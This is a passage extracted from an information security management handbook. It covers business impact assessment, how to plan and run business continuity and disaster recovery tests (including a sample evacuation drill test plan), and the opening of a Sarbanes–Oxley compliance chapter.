Final The goal of the BIA is to assist the management group in identification of time-critical processes and to determine their degree of reliance upon support services. Business process mapping methods, like those described in this chapter, will go a long way toward making the BIA effort more efficient and will significantly enhance the credibility of the results. When they have been identified, time-critical processes should in turn be mapped to their supporting IT, voice and data networks, facilities, human resources, etc. Time-critical business processes are prioritized in terms of their RTOs, so executive management can make reasonable decisions as to the recovery costs and time frames that they are willing to fund and support. The process of business continuity planning has matured substantially since the 1980s. BCP is no longer viewed as just a technological question. A practical and cost-effective approach toward planning for disruptions or disasters begins with the business impact assessment. Only when executive management formalizes their decisions regarding continuity time frames and priorities can each business unit and support service manager formulate acceptable and efficient plans for recovery of operations in the event of disruption or disaster. It is for this reason that the BIA process is so important when developing efficient and cost-effective business continuity plans and strategies.
BIA To-Do Checklist BIA To Do’s • Customize the BIA information gathering tools to suit the organization’s customs or culture. • Focus on time-critical business processes and support resources (e.g., systems, applications, voice and date networks, facilities, people) • Assume worst-case disaster (e.g., day of week, month of year). • Assume no recovery capability exists. • Obtain raw numbers in orders of magnitude. • Return for financial information. • Validate BIA data with BIA participants. • Formalize decisions from executive management (e.g., RTO time frames, scope and depth of recovery procedures) so lower level managers can make precise plans.
Conducting BIA Interviews • When interviewing business unit personnel, explain that you are here to get the information you need to help IT build their recover plan. Emphasize that the resulting IT recovery is really theirs, but the recovery plan is really yours. We are obtaining their input as an aid to ensuring that information services constructs the proper recovery planning strategy. • Interviews should last no longer that 45 minutes to 1 hour and 15 minutes.
482
Information Security Management Handbook
• The number of interviewees at one session should be at best one and at most two to three. More than that and the ability of the individual to take notes is questionable. • If possible, at least two BIA representatives should be in attendance at the interview. Each should have a blank copy of the questionnaire on which to take notes. • One person should probably not perform more than four interviews per day due to the requirement to document the results of each interview as soon as possible and because of fatigue factors. • Never become confrontational with the interviewees. Interviewees should not be defensive when answering the questions unless they do not properly understand the purpose of the BIA interview. • Relate to interviewees that their comments will be taken into consideration and documented with the others gathered and that they will be requested to review, at a later date, the output from the process for accuracy and provide their concurrence.
40 How To Test Business Continuity and Disaster Recovery Plans and How Often James S. Mitts
Overview Everything an information security practitioner deals with requires some form of testing to ensure that the information technology or resource is within configuration specifications. This applies to ensuring that business continuity (BC) and disaster recovery (DR) plans are documented and executable as per the business continuity strategy and that the capabilities are deployed as part of an overall business continuity program for the enterprise. Testing BC/DR plans is done with regard to justifying the economic benefit of having BC/DR capabilities in place. A company that decides not to test its BC/DR plans will not know if those capabilities and documented procedures will work during a disaster and thus jeopardize survivability of the enterprise. The information security professional may be asked to assume the role of testing coordinator or facilitator. This role, in most organizations, is responsible for coordinating and facilitating testing of all BC/DR plans, which requires a thorough understanding of the plans to ensure that the business continuity policy will be met, attaining appropriate funding for the overall testing of these plans, identifying the types of testing that should be conducted, scheduling testing to minimize its impact on business operations, and developing scenario-based test plans that clearly state the scope, purpose, and objective for testing.
Business Continuity Program Policy Guidelines for Testing The business continuity program policy should provide basic guidelines for the testing of business continuity and disaster recovery planning. The policy should state the types of accepted tests that can be performed and the number of times tests must be conducted. It should indicate the person or persons responsible for the testing of plans. Although the business continuity program policy may not specify types of tests or the number of tests to be conducted, it is imperative that the information security professional understand the types of test that can be conducted to determine if business continuity plans are viable and executable. Table 40.1 provides an example of a business continuity program policy.
483
484
Information Security Management Handbook
TABLE 40.1 Sample Business Continuity Program Policy It is the policy of ABC Company that a business continuity program shall be established and maintained to protect company assets, employees, stakeholders, and customer relations should a disaster of any manner befall ABC Company. The business continuity program shall establish the creation of business continuity or disaster recovery plans that contain appropriate procedures to sustain and recover critical ABC business operations after a disaster. The business continuity program shall ensure that these plans are assigned to a “plan owner” who shall be responsible for assuring that the plan is executable and capable of sustaining ABC business operations. The business continuity program shall ensure that testing of all components of the plans are conducted by using drills, structured walk-throughs, simulations, and fullinterruption tests. Testing of all components of the plans should be conducted at least once a year.
Obtaining the Funding To Conduct a BC/DR Plan Testing Program As with anything in business, certain costs are associated with business activities. Testing BC/DR plans is no different. In putting the testing plans together, the information security professional needs to develop a business case that outlines the costs of conducting various testing exercises for each component of the BC/DR plan. The planning stage requires an understanding of the type of test to be conducted, who will be involved, how long the test could take, and what the impact on business operations will be. The individuals doing the planning should not be team leaders or members who will be conducting the test. The impact to business operations can be determined from the business impact assessment that was previously conducted in the BC program methodology. DR plan testing typically deals with recovery of data and systems at an alternate location that typically is not close by. Costs associated with testing the DR plan will tend to be greater because of the scope of activities and resources. The costs for testing components of a BC/DR plan can be identified by understanding the planning considerations noted later. The costs of testing should be fully described, understood, and approved by management to achieve any level of assurance that the BC/DR plans are viable and executable. Some of the things that the information security professional should consider when estimating costs include: • Number of participants (e.g., potential loss of productivity during testing, outside resources required) • Facility expenses for the test (e.g., conference rooms, hot-site testing fees, hotel rooms) • Food expenses (e.g., meals, snacks, coffee, sodas) • Communication expenses (e.g., telephone setup, datacom setup, teleconference fees) • Supply expenses (e.g., paper, pencils, notepads, pens, markers, whiteboards, flip charts) • Form development and printing expense (e.g., incident, problem/issue, post-exercise evaluation)
Types of Tests The types of tests that can be conducted are many, but for the purposes of this chapter we outline here the major tests that should be conducted as part of an overall BC/DR plan testing program.
Drills Drills are typically targeted to a specific response and include fire, building evacuation, and bomb threat, to name a few. The purpose of a drill is to have the drill participants follow the designated response activities specified in their plans to become more proficient in executing the response activity. For example, a fire drill is conducted to familiarize building occupants with the response activities necessary to ensure the safety of employees and visitors in a company facility. The fire drill tests the ability of employees to execute their specified response activities when alerted, and it allows observation of those persons managing the response (e.g., floor warden, floor captain) as they perform their specific responsibilities to make sure all persons are evacuated from the facility. Many organizations only conduct these
How To Test Business Continuity and Disaster Recovery Plans and How Often
485
drills during the first shift when most employees are at work. This is a mistake, because it deprives offhours personnel the benefits of the drill. Cleaning crews, maintenance workers, and guard forces often are overlooked but still need to be familiar with building evacuation and other contingency plans and procedures.
Walk-Through Test Among the several types of walk-through tests are the orientation walk-through, tabletop walk-through (with or without simulation), and live walk-through. Orientation Walk-Through An orientation walk-through is a tabletop exercise of a BC/DR plan and is the first test conducted to familiarize the team leader and members with the BC/DR plan. It addresses all components of the BC/ DR plan. Tabletop Walk-Through A tabletop walk-through is one that exercises all or part of the BC/DR plan as specified in the scope of the test plan. Live Walk-Through A live walk-through is an exercise where the plan is executed as if a real disaster has taken place at a specific point in the facility and is typically conducted with multiple BC/DR teams. This is often called a simulation test. Parallel Test This operational test is held in parallel with the actual processing of critical systems to ensure that the systems will run correctly at the alternative site. Simulation Test This test involves all groups that would be involved in an actual recovery to ensure that the plan works and the various groups interface appropriately; it is usually scenario based. Groups have access to only materials in offsite storage to conduct their activities in the simulated recovery. Full Interruption Test This test is a full-blown, live test. If the plan calls for going to a hot site to recover, then arrangements to travel to the hot site would be made and a live recovery would take place. This type of test could affect the ability of the company’s customers to request products or services. This type of test could be dangerous for a large organization because shutting down normal processing has been known to actually precipitate a disaster when restart problems prevented resumption of normal processing on schedule.
Planning Considerations for Developing a Test Plan The information security professional should consider the following questions: • • • • • •
What parts of the company should be tested? Who should be involved? Should any hazards be anticipated? What are the boundaries (physical, geographical) of the test? How real should the test be? What is the budget for conducting the test?
After addressing these questions, it is time to begin planning the process for testing the BC/DR plan by considering the following aspects of the testing.
486
Information Security Management Handbook
Type of Test The types of test to be conducted will vary with the type and number of procedures or responses contained in the BC/DR plan; for example, if the plan has ten emergency response procedures, each would have to be drilled or walked through, depending on the procedure. If the business continuity program is new, each business unit or department BC/DR plan must have an orientation walk-through conducted to introduce the plan to the recovery team. As planning moves forward, the information security professional would schedule tabletop exercises for individual procedures within each BC/DR plan. As testing matures, the information security professional would then schedule tests that involve more than one BC/DR team. The testing would progress to the point where the company is ready to attempt a full interruption test.
Logistics Support Location Finding a place to hold a test can be a challenge. Planners need to find a conference room, auditorium, or meeting room of sufficient size to conduct the particular type of test. The location should be away from the work environment of the BC/DR team whenever possible to have the team members’ full attention. For tests that involve more then one team, the size of the facility is critical. The location must be comfortable and easy to get to and have sufficient lighting to conduct the test. For tests that involve traveling overnight to an alternative site, the information security professional should identify meeting places, lodging, and restaurants close to the alternative site. Outside Help As the testing begins to involve a greater number of BC/DR teams, it becomes more difficult for a small group of observers from internal auditing and other departments to oversee the tests. This is when the information security professional should seek outside help in conducting these tests; for example, the internal auditing group could recommend outside auditors, and consulting firms may be able to support the testing efforts. Of course, the use of such resources must be weighed against the testing budget that has been allocated. Other outside help that the information security professional may consider seeking would include organizations that can help with realism. Realism When conducting walk-through tests, the information security professional must choose how real those tests should be. Realism is not necessary for an orientation walk-through, but as the testing process matures realism becomes more of a factor in the overall effectiveness of the test. Making each test more interesting and challenging is necessary to sustain testing momentum within the organization. Some suggested considerations for adding realism to a tabletop walk-through include: • Set up a telephone room that team members would call as part of the defined procedure. • Have local first responders (fire, police, emergency medical services) make appearances as part of the scenario. • Ask a senior manager to make an appearance to request a status update. • Have representatives of other BC/DR teams participate in the test to request information. For live walk-through testing, interaction with other groups is imperative. The more realistic the information security professional can make test, the better prepared the BC/DR team members will be if and when a real emergency or disaster takes place. Finally, make sure that the company has an interface with local emergency management. At times, local emergency services managers will seek businesses to help them conduct an exercise on a large scale. Participation in such an exercise will benefit the company in several ways: • It exposes the company to the thought processes that the public sector uses for its testing. • It provides an added element of realism when the company performs their BC/DR plans during a regional exercise.
How To Test Business Continuity and Disaster Recovery Plans and How Often
487
• It provides an introduction to other businesses in the area that can be ongoing sources of information and provide opportunities for partnering with regard to emergency response and recovery solutions.
Date and Time of Test The date and time of a test depend on the scope and impact on operations. Tests can be conducted when convenient for the test participants; however, testing in the off hours should also be conducted as a threat to the organization can happen at any time during the day or week.
Impact on Operations When planning to test a BC/DR plan, planners need to determine the impact on the company’s ability to provide products and service to its customers. Depending on the plan being tested, having an understanding of the potential impact on operations may indicate that only a portion of the BC/DR team should be allowed to participate in the test. Eventually, a test will have to be conducted to evaluate the overall team dynamics in executing the plan. As the testing program matures, the impact on company operations increases due to a greater number of BC/DR teams being tested together to ensure overall business continuity plan integration. Finally, when a full interruption test is conducted, the overall business continuity picture will be observed and the test will have a profound impact on company operations.
Cost The cost of testing should be determined during the planning of each test. A separate testing cost center should be set up for tracking and budgetary purposes. Utilizing company facilities will keep the cost of a test as low as possible. It is important to track the cost of lost productivity as part of conducting testing. For the testing program to remain viable, it is important to keep costs within the established budget. The information security professional needs to find innovative ways to conduct testing within the corporate culture of the company.
Elements of a Test Plan The test plan document describes the planning, execution, and review of the company BC/DR plans. The elements of the test plan are described below: • Purpose of the test plan — This section describes what is expected from the test and document the activities being conducted. • Change control history for the test plan — This section tracks the history of the test plan from the time planning began to completion of the final report. • Scheduled date and time of the test — This section describes when the plan will be conducted. • Test type —This section describes the type of test that is being planned. • Test observers —This section describes who will be observing the test. • Test participants — The section identifies the testing coordinator, supporting test personnel, teams, and the associated team members. • Testing objective — This section describes what specific actions will be tested; multiple objectives can be stated. • Event or incident scenario —This section describes the events or situations that have precipitated execution of the DR/BC plan. • Test plan scope — This section indicates the plan being tested and portions of the plan to be tested. • Testing limitations — This section describes limitations of the test. • Testing assumptions — This section describes assumptions associated with the test. • Testing tasks — This section lists the actual plan or sections to be tested as determined by the testing coordinator/facilitator. The document has subsections for documenting acceptable results,
488
Information Security Management Handbook
TABLE 40.2 Sample Testing Schedule: ABC Testing Schedule for 200x BC/DR Plan Name
Scope of the Test
Type of Test
Coordinator
Team Leaders
[Insert BC/DR plan name]
[Insert scope of test here]
[Insert type of test here]
[Insert name]
[Insert name]
Finance BC plan
Review accounting BC plan Test plan activation procedure Test building evacuation procedure
Orientation walk-through Notification drill Drill
John Doe
Jack Dane
John Doe
Jack Dane
John Doe
Jack Dane
Finance BC plan Finance BC plan
• • •
•
Date and Time of Test [Insert MM/DD] [Insert HH:MM to HH:MM] 01/20 08:00 to 09:00 02/12 13:00 to 14:00 02/20 11:00 to 11:15
as determined by the testing coordinator or facilitator, and actual results from the test. The actual results are recorded by the test observers. Problems encountered during testing — This section documents any problems discovered and noted by the coordinator or facilitator and the observers. Post-test review — This section documents the post-test review session with participants. Corrective action plan for deficiencies — This section lists deficiencies noted in the test that require improvement. A separate corrective action plan should be developed that identifies the deficiencies and proposes resolutions. Test summary — The summary is written by the test coordinator or facilitator after the post-test review meeting has been conducted and a corrective action plan has been documented. This summary describes what worked properly and what was deficient and makes general recommendations for improving the plan. These recommendations should be provided to those responsible for plan update and maintenance.
Creating a Testing Schedule A testing schedule should be developed that addresses all testing to be conducted on all BC/DR plans within the company for the fiscal year. It should contain the plan being tested, the scope of the test, the type of test to be conducted, coordinator or facilitator name, names of team leaders, dates, and times (see Table 40.2). The use of an overall schedule helps the coordinator or facilitator and team leaders to track all of the testing being conducted throughout the year.
Practice Case To see how this all works, we will work through the process of creating a test plan for a finance department response procedure at ABC Company, which is located on the lower floors of a downtown high-rise building in Seattle, WA. The scope of our test will focus on all steps of the finance department’s building evacuation procedure. The test will only involve the finance department. The two objectives of this test are: • Observe the finance team’s execution of the procedure. • Observe the BC plan team leader’s execution and control of the procedure. The scenario for this test is a bomb threat to a state agency located on the floor directly above ABC Company. ABC Company receives notice from building management to evacuate the building due to a bomb threat and subsequent discovery of a mysterious package within the State of Washington Agency on the seventh floor. All company personnel are to evacuate the building. To determine what type of test to conduct, we review a particular part of ABC Company’s business continuity (BC)/disaster recovery (DR) plan — BC/DR Policy 500.
How To Test Business Continuity and Disaster Recovery Plans and How Often
489
ABC Company’s BC/DR Plan, BC/DR Policy 500 Policy Statement Test disaster recovery plan. Objective Establish ABC Company policy on disaster recovery plan testing and provide guidelines on determining what to test, types of tests, frequency, and participation levels. Business Drivers Reduce risk, mitigate loss, maintain continued availability of data. Protecting the availability of company information assets and intellectual property ensures the continued operation of critical functions, meets the company security requirements and that of clients, and mitigates costs associated with data recovery, litigation, and negative public image. Determining Business Processes To Test To determine which business processes to test, emphasis should be placed on the results of the most current business impact assessment (BIA). Each business-critical process defined in the BC/DR plan should be completely reassessed for currency and prioritized based on the BIA and estimated risk analysis of threats, vulnerabilities, and safeguards. Business processes recognized as critical by the BC/DR plan should be assessed annually and prioritized based on the BIA and the risk factor (RF) determined via the risk analysis of threats, vulnerabilities, and safeguards and should be the primary focus of testing. Types of Test The ABC testing methodology and implementation schedule should accomplish the following: • • • • •
Test the BC/DR plans to the fullest extent possible. Incur no prohibitive costs. Cause no or minimal service disruptions. Provide a high degree of assurance in recovery capabilities. Provide quality input for BC/DR plan maintenance.
Walk-Through Testing This is the most recommended testing strategy. Verbally, team members “walk through” the specific steps as documented in the BC/DR plan to confirm effectiveness, identify gaps, bottlenecks, or other weaknesses in the BC/DR plan. Staff should be familiarized with procedures, equipment, and offsite facilities, if required. Simulation Testing A disaster is simulated, and normal operations should not be interrupted. Hardware, software, personnel, communications, procedures, supplies and forms, documentation, transportation, utilities, and alternative site processing should be thoroughly tested in a simulation test. Extensive travel, moving equipment, and eliminating voice or data communications may not be feasible or practical during a simulated test; however, validated checklists should provide a reasonable level of assurance for many scenarios. The simulation test should be considered and only implemented after the previous checklist and walk-through tests have been validated. The results of previous tests should be analyzed before the proposed simulation to ensure that lessons learned during the previous testing have been remediated. Test Team Participants Cross-functional staffing is most desirable for testing and should include the following: • Management — Continuous management input through the entire process is vital; the manager who will serve as the emergency response coordinator (ERC) should be involved in planning every test unless the ERC is a participant in the test.
490
Information Security Management Handbook
• Finance — Finance personnel should assist in providing accurate cost analyses for each phase of the testing process. • Internal audit — Internal audit representatives should advise on contractual and regulatory issues. • Legal — Legal staff should advise on issues involving contractors, unions, or worker rights. • Process owners — Relevant personnel should provide the initial logical breakdown of processes for walk-through and simulation tests and provide realistic scenarios. • Security department — Security staff should maintain business and personnel security throughout the testing process. Testing Frequency Testing should be performed, at a minimum, on an annual basis. Tests should be documented and audited for appropriateness and results achieved. Lessons learned should also be documented and discussed for future testing implementations.
Selection of Simulation Test We choose to use a simulation test to test the finance department procedure specified in Section 3.5.1 of its BC plan, outlined below: 1.0 Introduction 2.0 Finance Business Continuity Team 3.0 Emergency Response 3.1 Overview 3.2 First Responder Perspective 3.3 BC Team Leader Perspective 3.4 Emergency Response Procedures — General 3.5 Emergency Response Procedures — Specific 3.5.1 Emergency Response for Building Evacuation 3.5.2 Emergency Response to a Fire 3.5.3 Emergency Response to a Bomb Threat 3.5.4 Emergency Response to a Chemical Spill 3.5.5 Emergency Response to an Earthquake 3.5.6 Emergency Response to Weapons in the Workplace 3.5.7 Emergency Response to Violence in the Workplace 3.5.8 Emergency Response to an Armed Intruder/Robbery in the Workplace 3.5.9 Emergency Response to Civil Disorder or Public Intrusion 3.5.10 Emergency Response to a Medical Emergency in the Workplace 4.0 Crisis Management 5.0 Business Continuity 5.1 Overview 5.2 Finance BC Team Activation Procedure 5.3 Finance BC Team Business Recovery/Resumption Procedures 6.0 Appendices Response for Building Evacuation It is apparent that the Building Evacuation Procedure is one of many emergency responses contained within the plan. The Building Evacuation Response for the Finance BC Team is provided in Table 40.3. Note that the table contains two columns at step 2 — one for exiting by the men’s restroom on the floor and the other for exiting by the women’s restroom. So, with this information we can begin to fill in the test plan and continue the planning process. Table 40.4 illustrates the test plan containing the information
How To Test Business Continuity and Disaster Recovery Plans and How Often
491
TABLE 40.3 Response for Building Evacuation Upon hearing fire alarm or receiving notification to evacuate the building … Action 1
Exit the building at the closest emergency exit. The preferred exit is the exit closest to the men’s restroom. Do not use the elevators to evacuate.
1
BC team leader: Check work area to ensure that all personnel in the area or on your team are evacuating the building. Proceed down the stairs to the fifth-floor lobby and make sure that the receptionist has been informed to evacuate. Proceed to the nearest fifth-floor emergency exit and evacuate the building as described in the following steps.
Evacuation through exit closest to men’s restroom
Evacuation through exit closest to woman’s restroom
2A
Upon reaching the first-floor via the stairs, proceed to the left down the hallway and exit out the door to the alley.
2B
Upon exiting the emergency stairwell, proceed out the door to the loading dock.
3A
If safe to do so, turn to the left and proceed south down the alley to L Street, then go to Step 5; otherwise, go to the right down the alley to B Street. Make a left going toward Third Avenue, then left again, around the block toward L Street.
3B
Go down the stairs on the loading dock and proceed south down the alley to L Street.
4A
Make left onto L Street and proceed to evacuation assembly point (EAP) located under the overhang next to the Teriyaki restaurant on L Street.
4B
Turn right at the sidewalk to the evacuation assembly point (EAP) located under the overhang next to the Teriyaki restaurant on L Street.
5A
Upon arriving at the EAP, remain calm and await further instructions
5B
Upon arriving at the EAP, remain calm and await further instructions.
6A
BC team leader: When you arrive at the EAP, account for all personnel on your team and report the team’s evacuation status to the emergency response coordinator (ERC). Await additional instructions from the ERC.
6B
BC team leader: When you arrive at the EAP, account for all personnel on your team and report the team’s evacuation status to the emergency response coordinator (ERC). Await additional instructions from the ERC
noted above. Now the information security professional must determine the date and time for the test, identify the test observers who will be involved, insert the finance team members’ names from the finance business continuity plan team roster into the test participants section, and make final adjustments to the limitations and assumptions of this test. After all this has been completed, the next steps would be to conduct the test, note any problems encountered, conduct the post-test review with the finance team, determine the need for any corrective actions, and write up the test summary.
Conclusion Testing of business continuity and disaster recovery plans are the means of affirming that these plans and their capabilities are viable and executable. Testing allows a company to adjust their overall business continuity strategy through a continuous improvement cycle. The information provided in the article is a baseline that an information security professional can utilize to begin and sustain the testing of business continuity and disaster recovery plans. The Information security professional’s involvement in a company’s business continuity program should also ensure that the integrity, availability, and confidentiality of the information assets will be maintained even during a disaster.
492
Information Security Management Handbook
TABLE 40.4 Finance BC Team Building Evacuation Response Test Plan TEST REPORT DOCUMENT ABC Finance Department ABC Finance Business Continuity Plan FinanceBCP_V2.1_2005.doc TR-1-0-B-Finance-02202005.doc Table of Contents 1.0 2.0 3.0 4.0 5.0 6.0 7.0 8.0 9.0 10.0 11.0 11.1 12.0 13.0 14.0 15.0 16.0 17.0
Purpose of This Document Document Change Control History Scheduled Date and Time of Test Type of Test Test Observers (TOs) Test Participants (TPs) Testing Objectives Execution Scenario Scope of Testing Limitations on Test Execution Assumptions Related to Test Execution Detailed Business Continuity Plan Testing Problems Encountered Post-Test Review Corrective Action Plan for Deficiencies Test Summary Appendix: Corrective Action Plan Appendix: Record of Corrective Action Plan Follow-up Meetings
[Beginning of main body of the testing document] 1.0 Purpose of This Document The purpose of this Test Report Document is to enable test planning, test execution, test review, and corrective action for this version of the finance business continuity plan. This document is utilized as a baseline throughout the various phases of the testing process, independent of the type of testing being performed. Items in this Test Report Document marked by “<<>>“ should be updated for the particular plan under test. 2.0 Document Change Control History This document will be updated as necessary throughout the course of pretest planning, test execution, and post-test review. The version number (left-most digit) indicates the phase of the Test Report Document (1 = pretest; 2 = test; 3 = post-test; 4 = final-report). The issue number (right-most digit) will be incremented by one whole digit if there is a need to reissue this document due to a major change or update within a phase. TR indicates test report. D indicates disaster recovery plan (DRP). B indicates business continuity plan (BCP).
Version and Issue
Date Issued (mmddyyyy)
TR-1-0-B-Finance02202005.doc <> <>
02202005
<>
<>
<> <>
Phase and Version Description Pretest version of this document for use during pretest planning meetings Test version of this document for use during testing Post-test version of this document for use during post-test review meetings Final report version of this document with a completed corrective action plan
Note: This is an example of a test report document filename TR-1-1-B-Finance-02212005, Version 1, Issue 1, of the pretest report for the business function BCP for finance.
How To Test Business Continuity and Disaster Recovery Plans and How Often
493
TABLE 40.4 Finance BC Team Building Evacuation Response Test Plan (cont.) 3.0 Scheduled Date and Time of Test
4.0
Start
Finish
Type of Test
Darken the box indicating the test being conducted: ❏
Drill
❏
Walk-through (orientation, tabletop, live)
■
Simulation test
❏
Full interruption test
5.0 Test Observers (TOs) Those individuals involved in observing the expected execution results of the test and documenting the results achieved during the test:a
6.0
Test Observer Names
Position
Phone
Mail ID
<> <>
<> <>
<> <>
<<Mail ID>> <<Mail ID>>
Test Participants (TPs)
Those individuals involved in executing the plan sections and procedure elements within the BCP being tested: b
The four objectives of this test are: Observe the finance team’s execution of the procedure. Observe the BC team leader’s execution and control of the procedure. Identify problems encountered. Document results and problem resolutions.
8.0 Execution Scenario: ABC Company has received a notice from building management to evacuate the building due to a bomb threat and subsequent discovery of a mysterious package within the State of Washington Agency office on the seventh floor. All company personnel are to evacuate the building.
494
Information Security Management Handbook
TABLE 40.4 Finance BC Team Building Evacuation Response Test Plan (cont.) 9.0
Scope of Testing Plan Names FinanceBCP_V2.1_2005.doc <> <> <>
Hi-Level Scope of Execution Scope of this test focuses on all steps of the finance department’s building evacuation procedure. <<Scope>> <<Scope>> <<Scope>>
10.0 Limitations on Test Execution The test will only involve the finance department.
11.0 Assumptions Related to Test Execution All test participants have the latest copy of the BC Plan available to them. All test participants are familiar with the relevant emergency procedures <>
11.1
Detailed Business Continuity Plan Testing
<>
12.0 Problems Encountered <>>
13.0 Post-Test Review <>
14.0 Corrective Action Plan for Deficiencies <>
15.0
Test Summary
<>
16.0 Appendix: Corrective Action Plan <>
How To Test Business Continuity and Disaster Recovery Plans and How Often
495
TABLE 40.4 Finance BC Team Building Evacuation Response Test Plan (cont.) 1.1.1 Plan Elementc 1. Action: Upon hearing the fire alarm or receiving notification to evacuate the building, exit the building at the closest emergency exit. The preferred exit to take would be the exit closest to the men’s restroom. Do not use the elevators to evacuate. BC team leader: Check work area to ensure that all personnel in the area or on your team are evacuating the building. Proceed down the stairs to the fifth-floor lobby and make sure that the receptionist has been informed to evacuate. Proceed to the nearest fifth-floor emergency exit and evacuate the building as described in the following steps.
1.1.2 Expected Execution Resultd
1.1.3 Results Achievede
Finance team members begin exiting the building using the exits, not the elevators.
<>
The acting BC team leader executes the procedure as described.
<>
Finance team members that use the men’s restroom exit follow the procedure as described.
<>
Finance team members that use the women’s restroom exit follow the procedure as described.
<>
Finance team members that use the men’s restroom exit follow the procedure as described.
<>
Finance team members that use the women’s restroom exit follow the procedure as described.
<>
Finance team members that use the men’s restroom exit follow the procedure as described.
<>
Finance team members that use the women’s restroom exit follow the procedure as described.
<>
Finance team members that use the men’s restroom exit follow the procedure as described.
<>
Finance team members that use the women’s restroom exit follow the procedure as described.
<>
The acting BC team leader executes the procedure as described.
<>
Evacuation through exit closest to men’s restroom 2A. Action: Upon reaching the first floor in the stairwell, proceed to the left down the hallway and exit out the door to the alley. Evacuation through exit closest to woman’s restroom 2B. Action: Upon exiting the emergency stairwell, proceed out the door to the loading dock. 3A. Action: If safe to do so, turn to the left and proceed south down the alley to L Street, then go to Step 5; otherwise, go to the right down the alley to B Street. Make a left going toward Third Avenue, then left again, around the block toward L Street. 3B. Action: Go down the stairs on the loading dock.
4A. Action: Make a left on to L Street and proceed to the evacuation assembly point (EAP) located under the overhang next to the Teriyaki restaurant on L Street. 4B. Action: All employees should proceed south down the alley to L Street. Turn right at the sidewalk to the EAP located under the overhang next to the Teriyaki restaurant on L Street. 5A. Action: Upon arriving at the EAP, remain calm and await further instructions. 5B. Action: Upon arriving at the EAP, remain calm and await further instructions. BC team leader: When you arrive at the EAP, account for all personnel on your team and report the team’s evacuation status to the emergency response coordinator (ERC). Await additional instructions from the ERC.
496
Information Security Management Handbook
TABLE 40.4 Finance BC Team Building Evacuation Response Test Plan (cont.) (1) Corrective Action Required (Yes/No)f (2) Description
(3) Corrective Action Assignment (4) Comments
(5) Scheduled Completion Date (6) Actual Completion Date (7) BCP Updated on
Appendix: Record of Corrective Action Plan Follow-Up Meetings
Date of Meeting
Summary of Meeting (attach meeting minutes, if desired)
<>
<<Summary>>
Notes a Test observers, ideally, are individuals not involved in the development of the BC/DR plan under test. b Test participants must be those familiar with the BC/DR plan under test and should specifically be named team members of the BC/DR plan. c As documented in the plan itself. d As defined by members of the planning team. e As documented during the test by the test facilitator and test observers. f Reference the “results achieved” for this plan element during testing, and evaluate for corrective action during the posttest review meeting.
Domain 9 Law, Investigation, and Ethics
498
Information Security Management Handbook
This domain addresses computer crime laws and regulations. It reviews the investigative measures and techniques used to determine if a crime has been committed and methods to gather evidence. It also reviews the ethical constraints that provide a code of conduct for the security professional.
Access Control Systems and Methodology
499
Contents Section 9.1
Information Law
41 Sarbanes–Oxley Compliance: A Technology Practitioner’s Guide.......................................... 501 Bonnie A. Goins 42 Health Insurance Portability and Accountability Act Security Rule....................................... 511 Lynda L. McGhie 43 The Ethical and Legal Concerns of Spyware ............................................................................ 525 Janice C. Sipior, Burke T. Ward, and Georgina R. Roselli
Section 9.3
Major Categories of Computer Crime
44 The Evolution of the Sploit........................................................................................................ 537 Ed Skoudis 45 Computer Crime......................................................................................................................... 551 Christopher A. Pilewski 46 Phishing: A New Twist to an Old Game................................................................................... 559 Stephen D. Fried 47 It’s All about Power: Information Warfare Tactics by Terrorists, Activists, and Miscreants ..................................................................................... 579 Gerald L. Kovacich, Andy Jones, and Perry G. Luzwick
Section 9.4
Incident Handling
48 DCSA: A Practical Approach to Digital Crime Scene Analysis ............................................... 601 Marcus K. Rogers 49 What a Computer Security Professional Needs To Know about E-Discovery and Digital Forensics.................................................................................. 615 Larry R. Leibrock 50 How To Begin a Non-Liturgical Forensic Examination .......................................................... 621 Carol Stucki
This page intentionally left blank
41 Sarbanes–Oxley Compliance: A Technology Practitioner’s Guide Bonnie A. Goins
Introduction A misstatement of financials, perhaps accidental, perhaps not — it can happen and has. People have lost their jobs and their pensions, sometimes their lives’ work. Shareholders have lost their investments. Companies have ceased to exist, mired in bankruptcy and scandal. Senior executives have been on display during legal proceedings. Many have fared incredibly well financially, despite losses sustained by the organization’s shareholders and its employees. The stories are familiar by now. What is this all about? What can be done to remedy and report the problems associated with misstatement of financials? How can companies and their leaders be held accountable? In 2002, the federal government introduced the Sarbanes–Oxley Act (also referred to as SOX, Sarbox, or SOA). This piece of legislation is comprised of many sections; however, the section that may best answer our questions is Section 404 of the legislation, which requires senior management of publicly traded companies to assess whether their organizations have implemented appropriate control structures around financial reporting; in addition, senior management must report annually to their boards the results of the assessments of their financial reporting controls. The reader may be asking, “Well, that’s all well and good, but how can we be sure that everything that has happened in the past can’t happen again? After all, what’s the incentive for the companies and their leaders to watch for and guard against misstatement of financial information?” The Securities and Exchange Commission (SEC), the government body responsible for the regulation of publicly traded equities, has referred to the recommendations of the Committee of Sponsoring Organizations (COSO) of the Treadway Commission in its final ruling that mandates that an appropriate (“recognized”) internal control framework should be used within an organization. The Sarbanes–Oxley legislation, as stated in the work by the IT Governance Institute, mandates “corporate governance rules, regulations, and standards for specified public companies, including SEC registrants,” their implementation improving corporate accountability. It is important to note that the Sarbanes–Oxley legislation does not, at this time, apply to privately held companies; however, the principles of sound corporate governance map well onto any organization, regardless of its size, which may result in private organizations being added to the compliance expectation at some time in the future. Additionally, the legislation does not take into account aspects of an
501
502
Information Security Management Handbook
organization’s business function outside of financial reporting; however, it is clear that the organization can realize a significant benefit through the application of proper internal controls to the remainder of its business functions. This is a theme we will return to periodically during the course of this chapter.
Senior Management Responsibilities A common theme in legislation is the notion that senior management is responsible for meeting compliance objectives and, conversely, is held accountable when compliance objectives are not met. This precludes the ability of senior management to point fingers at a subordinate in the event the organization is found not to be in compliance. As stated earlier, senior management is required to produce an annual report on the state of internal controls. This report must contain the following: • A statement of senior management’s responsibility to create, implement, maintain, monitor, and enforce an appropriate internal control structure around financial reporting for the organization • A statement indicating the methods used to assess whether the organization has placed effective internal controls around the financial reporting environment • Assessment results for the last fiscal year, detailing the state of the organization’s internal controls surrounding the financial reporting environment, along with senior management’s statement regarding the effectiveness of the internal controls in use • A statement that the organization’s auditing partner (that is, registered public accountancy) for the financial reporting environment for the fiscal year has attested (through an attestation report) to the effectiveness of internal controls within the organization, as stated in senior management’s assessment of the effectiveness of its internal control environment The Act further requires that senior management provide this report in written format, with an explicit statement of the effectiveness of its internal controls. It is important to note that senior management may not assert that internal controls surrounding financial reporting are effective if one or more “material weaknesses” (that is, instances of required internal controls that are ineffective or absent) have been identified during assessment of the control environment. Senior management is required to disclose all material weaknesses found within the internal control environment surrounding financial reporting, as of the end of the fiscal year. The only way that senior management can report effective controls with a 